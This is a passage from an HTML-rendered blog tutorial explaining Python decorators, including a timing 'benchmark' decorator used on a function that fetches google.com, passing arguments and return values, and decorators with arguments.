&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;Wrapper function!&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;The wrapped function is: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;{}&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.format(func))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;Executing wrapped function...&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    func()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;Exiting wrapper function&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; wrapper&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, &lt;code&gt;decorator_function&lt;/code&gt; is a decorator function (duh!). As you can see, it’s a higher-order function, because it takes a function as its argument, and it also returns one. Inside &lt;code&gt;decorator_function&lt;/code&gt;, we’ve defined another function, a &lt;em&gt;wrapper&lt;/em&gt; one so to speak, which &lt;em&gt;wraps&lt;/em&gt; the argument function, and subsequently modifies its behavior. The decorator returns this wrapper function. Now let’s see this decorator in action —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; @decorator_function&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;... def hello_world():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;...     print(&apos;Hello world!&apos;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; hello_world()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Wrapper function!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;The wrapped function is: &amp;lt;function hello_world at 0x032B26A8&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Executing wrapped function...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Hello world!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Exiting wrapper function&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It’s like magic! Just by adding the &lt;code&gt;@decorator_function&lt;/code&gt; statement before the &lt;code&gt;def&lt;/code&gt; statement for the &lt;code&gt;hello_world&lt;/code&gt;, we’ve modified it. But as you may have already understood, the &lt;code&gt;@&lt;/code&gt; statement is just &lt;em&gt;syntactic sugar&lt;/em&gt; for —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;hello_world &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; decorator_function(hello_world)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In other words, all the &lt;code&gt;@decorator_function&lt;/code&gt; statement doing is calling &lt;code&gt;decorator_function&lt;/code&gt; with &lt;code&gt;hello_world&lt;/code&gt; as its argument, and assigning the returned function to the name &lt;code&gt;hello_world&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;While this example may have been a “whoa” moment, the decorator wasn’t really a useful one. Let’s look at some more examples, hopefully, useful ones.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; benchmark&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(func):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; time&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; wrapper&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        start &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; time.time()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        func()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        end &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; time.time()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;        print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;[*] Execution time: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;{}&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; seconds.&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.format(end&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;start))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; wrapper&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;@benchmark&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; fetch_webpage&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; requests&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    webpage &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; requests.get(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;https://google.com&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;fetch_webpage()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here I’ve taken created a decorator that would measure the time taken by a function to execute. It’s a fairly useful decorator, I’ve used it on a function that &lt;code&gt;GET&lt;/code&gt;s the homepage of Google. As you can see, I’ve saved the time before calling the wrapped function, and after calling the wrapped function, and by subtracting those two I got the time of execution.&lt;/p&gt;
&lt;p&gt;On running the above I got the following output&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[*] Execution time: 1.4326345920562744 seconds.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You must have started realizing how useful decorators can be. It adds functionality to a function without modifying the original code, and it gives you complete flexibility over what you want to do // modify. The possibilities are endless!&lt;/p&gt;
&lt;h3 id=&quot;using-arguments-and-return-value&quot;&gt;Using arguments and return-value&lt;/h3&gt;
&lt;p&gt;In the examples we’ve looked at so far, the decorated functions were neither taking any arguments, nor they were returning anything. Let’s look expand the &lt;code&gt;benchmark&lt;/code&gt; decorator to include that.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; benchmark&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(func):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; time&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; wrapper&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;args, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;kwargs):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        start &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; time.time()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        return_value &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; func(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;args, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;kwargs)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        end &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; time.time()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;        print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;[*] Execution time: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;{}&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; seconds.&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.format(end&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;start))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; return_value&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; wrapper&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;@benchmark&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; fetch_webpage&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(url):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; requests&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    webpage &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; requests.get(url)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; webpage.text&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;webpage &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; fetch_webpage(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;https://google.com&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(webpage)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Of which the output is&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[*] Execution time: 1.4475083351135254 seconds.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;!doctype html&amp;gt;&amp;lt;html itemscope=&quot;&quot; itemtype=&quot;http://schema.org/WebPage&quot;........&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can see that the arguments of the decorated function get passed to the wrapper function, and then you’re free to do anything with it. You can modify the arguments and then pass them to the decorated function, or you can pass them unmodified, or you can discard them completely and pass whatever pleases you to the decorated function. Same goes with the returned value from the decorated function, do whatever you want with it. Here in the example, I’ve kept the arguments and the return value of the decorated function unmodified.&lt;/p&gt;
&lt;h3 id=&quot;decorators-with-arguments&quot;&gt;Decorators with arguments&lt;/h3&gt;
&lt;p&gt;We can also define decorators which take arguments. It’d be best to look at the code in order to understand this —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; benchmark&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(iters):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; actual_decorator&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(func):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;        import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; time&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;        def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; wrapper&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;args, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;kwargs):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;            total &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;            for&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; range&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(iters):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;                start &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; time.time()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;                return_value &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; func(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;args, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;kwargs)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;                end &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; time.time()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;                total &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; total &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; (end&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;start)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;            print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;[*] Average execution time: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;{}&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; seconds.&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.format(total&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;iters))&lt;/span&gt;&lt;/span&gt;
